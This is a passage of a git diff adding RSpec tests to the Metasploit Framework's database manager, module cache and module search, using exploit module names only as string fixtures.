session.exploit_datastore['ParentModule'].should_not be_nil + end + + its(:via_exploit) { should == parent_module_fullname } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + reference_name = 'windows/smb/ms08_067_netapi' + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it "should not have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should_not == 'exploit/multi/handler' + end + + its(:via_exploit) { should == session.via_exploit } + end + end + end + end + + context 'without Msf::Session' do + let(:session) do + mock('Not a Msf::Session') + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") + end + end + end + + context 'without :session' do + context 'with :host' do + before(:each) do + options[:host] = host + end + + context 'with Mdm::Host' do + let(:host) do + FactoryGirl.create(:mdm_host) + end + + context 'created Mdm::Session' do + let(:closed_at) do + nil + end + + let(:close_reason) do + 'Closed because...' + end + + let(:description) do + 'Session Description' + end + + let(:exploit_full_name) do + 'exploit/windows/smb/ms08_067_netapi' + end + + let(:last_seen) do + nil + end + + let(:opened_at) do + Time.now.utc - 5.minutes + end + + let(:payload_full_name) do + 'payload/singles/windows/metsvc_reverse_tcp' + end + + let(:platform) do + 'Host Platform' + end + + let(:routes) do + nil + end + + let(:session_type) do + 'Session Type' + end + + before(:each) do + options[:closed_at] = closed_at + options[:close_reason] = close_reason + options[:desc] = description + options[:last_seen] = last_seen + options[:opened_at] = opened_at + options[:platform] = platform + options[:routes] = routes + options[:stype] = session_type + options[:via_payload] = payload_full_name + options[:via_exploit] = exploit_full_name + end + + subject(:mdm_session) do + report_session + end + + its(:close_reason) { should == close_reason } + its(:desc) { should == description } + its(:host) { should == host } + its(:platform) { should == platform } + its(:stype) { should == session_type } + its(:via_exploit) { should == exploit_full_name } + its(:via_payload) { should == payload_full_name } + + context 'with :last_seen' do + let(:last_seen) do + opened_at + end + + its(:last_seen) { should == last_seen } + end + + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + its(:closed_at) { should == closed_at } + end + + context 'without :closed_at' do + its(:closed_at) { should == nil } + end + + context 'without :last_seen' do + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + its(:last_seen) { should == closed_at } + end + + context 'without :closed_at' do + its(:last_seen) { should be_nil } + end + end + + context 'with :routes' do + let(:routes) do + FactoryGirl.build_list( + :mdm_route, + 1, + :session => nil + ) + end + + its(:routes) { should == routes } + end + + context 'without :routes' do + its(:routes) { should == [] } + end + end + end + + context 'without Mdm::Host' do + let(:host) do + '192.168.0.1' + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :host, expected Host object") + end + end + end + + context 'without :host' do + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError) + end + end + end + end + + context 'without active' do + let(:active) do + false + end + + it { should be_nil } + + it 'should not create a connection' do + # 1st time for with_established_connection + ActiveRecord::Base.connection_pool.should_receive(:with_connection).once + + report_session + end + end + end + + context '#remove_module_details' do + def remove_module_details + db_manager.remove_module_details(mtype, refname) + end + + let(:migrated) do + false + end + + let(:mtype) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:refname) do + FactoryGirl.generate :mdm_module_detail_refname + end + + let!(:module_detail) do + FactoryGirl.create( + :mdm_module_detail + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end + + context 'with matching Mdm::Module::Detail' do + let(:mtype) do + module_detail.mtype + end + + let(:refname) do + module_detail.refname + end + + it 'should destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end + end + + context 'without matching Mdm::Module::Detail' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#search_modules' do + subject(:search_modules) do + db_manager.search_modules(search_string) + end + + let(:module_details) do + search_modules.to_a + end + + context 'with app keyword' do + let(:search_string) do + "app:#{app}" + end + + before(:each) do + Mdm::Module::Detail::STANCES.each do |stance| + FactoryGirl.create(:mdm_module_detail, :stance => stance) + end + end + + context 'with client' do + let(:app) do + 'client' + end + + it "should match Mdm::Module::Detail#stance 'passive'" do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.stance == 'passive' + }.should be_true + end + end + + context 'with server' do + let(:app) do + 'server' + end + + it "should match Mdm::Module::Detail#stance 'aggressive'" do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.stance == 'aggressive' + }.should be_true + end + end + end + + context 'with author keyword' do + let(:search_string) do + # us inspect so strings with spaces are quoted correctly + "author:#{author}" + end + + let!(:module_authors) do + FactoryGirl.create_list(:mdm_module_author, 2) + end + + let(:target_module_author) do + module_authors.first + end + + context 'with Mdm::Module::Author#email' do + let(:author) do + target_module_author.email + end + + it 'should match Mdm::Module::Author#email' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.email == target_module_author.email + } + }.should be_true + end + end + + context 'with Mdm::Module::Author#name' do + let(:author) do + # use inspect to quote space in name + target_module_author.name.inspect + end + + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == target_module_author.name + } + }.should be_true + end + end + end + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb + + context 'with name keyword' do + let(:search_string) do + "name:#{name}" + end + + let!(:existing_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end + + let(:target_module_detail) do + existing_module_details.first + end + + context 'with Mdm::Module::Detail#fullname' do + let(:name) do + target_module_detail.fullname + end + + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.fullname == target_module_detail.fullname + }.should be_true + end + end + + context 'with Mdm::Module::Detail#name' do + let(:name) do + # use inspect so spaces are inside quotes + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_true + end + end + end + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb + + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform + + context 'with ref keyword' do + let(:ref) do + FactoryGirl.generate :mdm_module_ref_name + end + + let(:search_string) do + # use inspect to quote spaces in string + "ref:#{ref.inspect}" + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + context 'with Mdm::Module::Ref#name' do + let(:ref) do + module_ref.name + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == ref + } + }.should be_true + end + end + + context 'without Mdm::Module::Ref#name' do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end + + context 'with type keyword' do + let(:type) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:search_string) do + "type:#{type}" + end + + let(:target_module_detail) do + all_module_details.first + end + + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end + + context 'with Mdm::Module::Ref#name' do + let(:type) do + target_module_detail.mtype + end + + it 'should match Mdm::Module::Detail#mtype' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.mtype == type + }.should be_true + end + end + + context 'without Mdm::Module::Detail#mtype' do + it 'should not match Mdm::Module::Detail#mtype' do + module_details.count.should == 0 + end + end + end + + context 'without keyword' do + context 'with Mdm::Module::Action#name' do + let(:search_string) do + module_action.name + end + + let!(:module_action) do + FactoryGirl.create(:mdm_module_action) + end + + it 'should match Mdm::Module::Action#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.actions.any? { |module_action| + module_action.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Arch#name' do + let(:search_string) do + module_arch.name + end + + let!(:module_arch) do + FactoryGirl.create(:mdm_module_arch) + end + + it 'should match Mdm::Module::Arch#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.archs.any? { |module_arch| + module_arch.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Author#name' do + let(:search_string) do + module_author.name + end + + let!(:module_author) do + FactoryGirl.create(:mdm_module_author) + end + + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Detail' do + let(:target_module_detail) do + all_module_details.first + end + + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 3) + end + + context 'with #description' do + let(:search_string) do + # use inspect to quote spaces in string + target_module_detail.description.inspect + end + + it 'should match Mdm::Module::Detail#description' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.description == target_module_detail.description + }.should be_true + end + end + + context 'with #fullname' do + let(:search_string) do + target_module_detail.fullname + end + + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.fullname == search_string + }.should be_true + end + end + + context 'with #name' do + let(:search_string) do + # use inspect to quote spaces in string + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_true + end + end + end + + context 'with Mdm::Module::Platform#name' do + let(:search_string) do + module_platform.name + end + + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end + + it 'should match Mdm::Module::Platform#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Ref#name' do + let(:search_string) do + module_ref.name + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Target#name' do + let(:search_string) do + module_target.name + end + + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end + + it 'should match Mdm::Module::Target#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == search_string + } + }.should be_true + end + end + end + end + + context '#update_all_module_details' do + def update_all_module_details + db_manager.update_all_module_details + end + + let(:migrated) do + false + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + true + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without modules_caching' do + let(:modules_caching) do + false + end + + it 'should create a connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original + + update_all_module_details + end + + it 'should set framework.cache_thread to current thread and then nil around connection' do + framework.should_receive(:cache_thread=).with(Thread.current).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + framework.should_receive(:cache_thread=).with(nil).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + it 'should set modules_cached to false and then true around connection' do + db_manager.should_receive(:modules_cached=).with(false).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + db_manager.should_receive(:modules_cached=).with(true).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + it 'should set modules_caching to true and then false around connection' do + db_manager.should_receive(:modules_caching=).with(true).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + db_manager.should_receive(:modules_caching=).with(false).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + context 'with Mdm::Module::Details' do + let(:module_pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:modification_time) do + module_pathname.mtime + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let!(:module_detail) do + # needs to reference a real module so that it can be loaded + FactoryGirl.create( + :mdm_module_detail, + :file => module_pathname.to_path, + :mtime => modification_time, + :mtype => type, + :ready => ready, + :refname => reference_name + ) + end + + context '#ready' do + context 'false' do + let(:ready) do + false + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + + context 'true' do + let(:ready) do + true + end + + context 'with existing Mdm::Module::Detail#file' do + context 'with same Mdm::Module::Detail#mtime and File.mtime' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without same Mdm::Module::Detail#mtime and File.mtime' do + let(:modification_time) do + # +1 as rand can return 0 and the time must be different for + # this context. + super() - (rand(1.day) + 1) + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + end + + # Emulates a module being removed or renamed + context 'without existing Mdm::Module::Detail#file' do + # have to compute modification manually since the + # `module_pathname` refers to a non-existent file and + # `module_pathname.mtime` would error. + let(:modification_time) do + Time.now.utc - 1.day + end + + let(:module_pathname) do + parent_pathname.join('exploits', 'deleted.rb') + end + + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + end + end + end + end + + context 'without migrated' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + + context '#update_module_details' do + def update_module_details + db_manager.update_module_details(module_instance) + end + + let(:loader) do + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(parent_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + end + + let(:migrated) do + false + end + + let(:module_instance) do + # make sure the module is loaded into the module_set + loaded = loader.load_module(parent_path, module_type, module_reference_name) + + unless loaded + module_path = loader.module_path(parent_path, type, module_reference_name) + + fail "#{description} failed to load: #{module_path}" + end + + module_set.create(module_reference_name) + end + + let(:module_set) do + framework.exploits + end + + let(:module_type) do + 'exploit' + end + + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:type_directory) do + 'exploits' + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it 'should create connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection) + ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original + + update_module_details + end + + it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do + db_manager.should_receive(:module_to_details_hash).and_call_original + + update_module_details + end + + it 'should create an Mdm::Module::Detail' do + expect { + update_module_details + }.to change(Mdm::Module::Detail, :count).by(1) + end + + + context 'module_to_details_hash' do + let(:module_to_details_hash) do + { + :mtype => module_type, + :privileged => privileged, + :rank => rank, + :refname => module_reference_name, + :stance => stance + } + end + + let(:privileged) do + FactoryGirl.generate :mdm_module_detail_privileged + end + + let(:rank) do + FactoryGirl.generate :mdm_module_detail_rank + end + + let(:stance) do + FactoryGirl.generate :mdm_module_detail_stance + end + + before(:each) do + db_manager.stub( + :module_to_details_hash + ).with( + module_instance + ).and_return( + module_to_details_hash + ) + end + + context 'Mdm::Module::Detail' do + subject(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:mtype) { should == module_type } + its(:privileged) { should == privileged } + its(:rank) { should == rank } + its(:ready) { should == true } + its(:refname) { should == module_reference_name } + its(:stance) { should == stance } + end + + context 'with :bits' do + let(:bits) do + [] + end + + before(:each) do + module_to_details_hash[:bits] = bits + end + + context 'with :action' do + let(:name) do + FactoryGirl.generate :mdm_module_action_name + end + + let(:bits) do + super() << [ + :action, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Action' do + expect { + update_module_details + }.to change(Mdm::Module::Action, :count).by(1) + end + + context 'Mdm::Module::Action' do + subject(:module_action) do + module_detail.actions.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :arch' do + let(:name) do + FactoryGirl.generate :mdm_module_arch_name + end + + let(:bits) do + super() << [ + :arch, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Arch' do + expect { + update_module_details + }.to change(Mdm::Module::Arch, :count).by(1) + end + + context 'Mdm::Module::Arch' do + subject(:module_arch) do + module_detail.archs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :author' do + let(:email) do + FactoryGirl.generate :mdm_module_author_email + end + + let(:name) do + FactoryGirl.generate :mdm_module_author_name + end + + let(:bits) do + super() << [ + :author, + { + :email => email, + :name => name + } + ] + end + + it 'should create an Mdm::Module::Author' do + expect { + update_module_details + }.to change(Mdm::Module::Author, :count).by(1) + end + + context 'Mdm::Module::Author' do + subject(:module_author) do + module_detail.authors.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + its(:email) { should == email } + end + end + + context 'with :platform' do + let(:bits) do + super() << [ + :platform, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_platform_name + end + + it 'should create an Mdm::Module::Platform' do + expect { + update_module_details + }.to change(Mdm::Module::Platform, :count).by(1) + end + + context 'Mdm::Module::Platform' do + subject(:module_platform) do + module_detail.platforms.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :ref' do + let(:bits) do + super() << [ + :ref, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end + + it 'should create an Mdm::Module::Ref' do + expect { + update_module_details + }.to change(Mdm::Module::Ref, :count).by(1) + end + + context 'Mdm::Module::Ref' do + subject(:module_ref) do + module_detail.refs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :target' do + let(:bits) do + super() << [ + :target, + { + :index => index, + :name => name + } + ] + end + + let(:index) do + FactoryGirl.generate :mdm_module_target_index + end + + let(:name) do + FactoryGirl.generate :mdm_module_target_name + end + + it 'should create an Mdm::Module::Target' do + expect { + update_module_details + }.to change(Mdm::Module::Target, :count).by(1) + end + + context 'Mdm::Module::Target' do + subject(:module_target) do + module_detail.targets.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:index) { should == index } + its(:name) { should == name } + end + end + end + end + end + + context 'without migrated' do + it 'should not create an Mdm::Module::Detail' do + expect { + update_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end +end diff --git a/spec/lib/msf/ui/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/command_dispatcher/core_spec.rb new file mode 100644 index 0000000000..8c7479a2c0 --- /dev/null +++ b/spec/lib/msf/ui/command_dispatcher/core_spec.rb @@ -0,0 +1,107 @@ +require 'spec_helper' + +require 'msf/ui' +require 'msf/ui/console/module_command_dispatcher' +require 'msf/ui/console/command_dispatcher/core' + +describe Msf::Ui::Console::CommandDispatcher::Core do + include_context 'Msf::DBManager' + + let(:driver) do + mock( + 'Driver', + :framework => framework + ).tap { |driver| + driver.stub(:on_command_proc=).with(kind_of(Proc)) + driver.stub(:print_line).with(kind_of(String)) + } + end + + subject(:core) do + described_class.new(driver) + end + + context '#search_modules_sql' do + def search_modules_sql + core.search_modules_sql(match) + end + + let(:match) do + '' + end + + it 'should generate Matching Modules table' do + core.should_receive(:generate_module_table).with('Matching Modules').and_call_original + + search_modules_sql + end + + it 'should call Msf::DBManager#search_modules' do + db_manager.should_receive(:search_modules).with(match).and_return([]) + + search_modules_sql + end + + context 'with matching Mdm::Module::Details' do + let(:match) do + module_detail.fullname + end + + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end + + context 'printed table' do + def cell(table, row, column) + row_line_number = 6 + row + line_number = 0 + + cell = nil + + table.each_line do |line| + if line_number == row_line_number + # strip prefix and postfix + padded_cells = line[3...-1] + cells = padded_cells.split(/\s{2,}/) + + cell = cells[column] + break + end + + line_number += 1 + end + + cell + end + + let(:printed_table) do + table = '' + + core.stub(:print_line) do |string| + table = string + end + + search_modules_sql + + table + end + + it 'should have fullname in first column' do + cell(printed_table, 0, 0).should include(module_detail.fullname) + end + + it 'should have disclosure date in second column' do + cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) + end + + it 'should have rank name in third column' do + cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) + end + + it 'should have name in fourth column' do + cell(printed_table, 0, 3).should include(module_detail.name) + end + end + end + end +end diff --git a/spec/support/shared/contexts/database_cleaner.rb b/spec/support/shared/contexts/database_cleaner.rb index 0c03ae6397..36ec8d86d3 100644 --- a/spec/support/shared/contexts/database_cleaner.rb +++ b/spec/support/shared/contexts/database_cleaner.rb @@ -1,3 +1,5 @@ +require 'metasploit/framework/database' + shared_context 'DatabaseCleaner' do def with_established_connection begin diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb new file mode 100644 index 0000000000..a36d4c7d79 --- /dev/null +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -0,0 +1,23 @@ +shared_context 'Msf::DBManager' do + include_context 'DatabaseCleaner' + include_context 'Msf::Simple::Framework' + + let(:active) do + true + end + + let(:db_manager) do + framework.db + end + + before(:each) do + configurations = Metasploit::Framework::Database.configurations + spec = configurations[Metasploit::Framework.env] + + # Need to connect or ActiveRecord::Base.connection_pool will raise an + # error. + db_manager.connect(spec) + + db_manager.stub(:active => active) + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb new file mode 100644 index 0000000000..36a319683a --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/export/extract_module_detail_info_module_detail_child.rb @@ -0,0 +1,23 @@ +shared_examples_for 'Msf::DBManager::Export#extract_module_detail_info module_detail child' do |child_node_name| + attribute_name = child_node_name.underscore + + subject(:child_node) do + module_detail_node.at_xpath(child_node_name) + end + + let(:attribute) do + module_detail.send(attribute_name) + end + + it "should not have Mdm::Module::Detail##{attribute_name} nil" do + attribute.should_not be_nil + end + + it "should have Mdm::Module::Detail##{attribute_name} for #{child_node_name} content" do + if attribute == false + child_node.content.should be_blank + else + child_node.content.should == attribute.to_s + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb index ea63101114..bf48d72e37 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml.rb @@ -83,15 +83,6 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do Builder::XmlMarkup.new(:indent => 2) end - before(:each) do - configurations = Metasploit::Framework::Database.configurations - spec = configurations[Metasploit::Framework.env] - - # Need to connect or Msf::DBManager#active will be false and - # Msf::DBManager#report_* methods won't create any records. - db_manager.connect(spec) - end - it 'should include methods from module so method can be overridden easier in pro' do db_manager.should be_a Msf::DBManager::ImportMsfXml end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb new file mode 100644 index 0000000000..f2580dee0e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -0,0 +1,49 @@ +shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword| + context "with #{keyword} keyword" do + let(:search_string) do + "#{keyword}:#{name}" + end + + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end + + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end + + context 'with Mdm::Module::Platform#name' do + let(:name) do + # use inspect to quote spaces in string + module_platform.name.inspect + end + + it 'should find matching Mdm::Module::Platform#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == self.module_platform.name + } + }.should be_true + end + end + + context 'with Mdm::Module::Target#name' do + let(:name) do + # use inspect to quote spaces in string + module_target.name.inspect + end + + it 'should find matching Mdm::Module::Target#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == self.module_target.name + } + }.should be_true + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb new file mode 100644 index 0000000000..c4dbc7dbe8 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -0,0 +1,44 @@ +shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword| + context "with #{keyword} keyword" do + let(keyword) do + 1 + end + + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end + + let(:search_string) do + "#{keyword}:#{send(keyword)}" + end + + before(:each) do + FactoryGirl.create(:mdm_module_ref, :name => name) + end + + name_prefix = "#{keyword.to_s.upcase}-" + context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}" + + context "with #{context_suffix}" do + let(:name) do + "#{name_prefix}#{send(keyword)}" + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == name + } + }.should be_true + end + end + + context "without #{context_suffix}" do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb new file mode 100644 index 0000000000..885b22beb9 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -0,0 +1,60 @@ +shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do + + it 'should destroy Mdm::Module::Detail' do + expect { + update_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end + + context 'with cached module in Msf::ModuleSet' do + let(:module_set) do + framework.exploits + end + + before(:each) do + module_set[module_detail.refname] = Msf::SymbolicModule + + framework.modules.send(:module_info_by_path)[module_detail.file] = { + :parent_path => Metasploit::Framework.root.join('modules').to_path, + :reference_name => module_detail.refname, + :type => type + } + end + + it 'should create instance of module corresponding to Mdm::Module::Detail' do + module_set.should_receive(:create).with(module_detail.refname) + + update_all_module_details + end + + it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do + db_manager.should_receive(:update_module_details) do |module_instance| + module_instance.should be_a Msf::Module + module_instance.type.should == module_detail.mtype + module_instance.refname.should == module_detail.refname + end + + update_all_module_details + end + + context 'with exception raised by #update_module_details' do + before(:each) do + db_manager.stub(:update_module_details).and_raise(Exception) + end + + it 'should log error' do + db_manager.should_receive(:elog) + + update_all_module_details + end + end + end + + context 'without cached module in Msf::ModuleSet' do + it 'should not call update_module_details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb new file mode 100644 index 0000000000..c556321172 --- /dev/null +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -0,0 +1,407 @@ +shared_examples_for 'Msf::ModuleManager::Cache' do + context '#cache_empty?' do + subject(:cache_empty?) do + module_manager.cache_empty? + end + + before(:each) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end + + context 'with empty' do + let(:module_info_by_path) do + {} + end + + it { should be_true } + end + + context 'without empty' do + let(:module_info_by_path) do + { + 'path/to/module' => {} + } + end + + it { should be_false } + end + end + + context '#load_cached_module' do + let(:parent_path) do + Metasploit::Framework.root.join('modules').to_path + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + subject(:load_cached_module) do + module_manager.load_cached_module(type, reference_name) + end + + before(:each) do + module_manager.send(:module_info_by_path=, module_info_by_path) + end + + context 'with module info in cache' do + let(:module_info_by_path) do + { + 'path/to/module' => { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type + } + } + end + + it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do + module_manager.send(:loaders).each do |loader| + loader.should_receive(:loadable?).with(parent_path).and_call_original + end + + load_cached_module + end + + it 'should force load using #load_module on the loader' do + 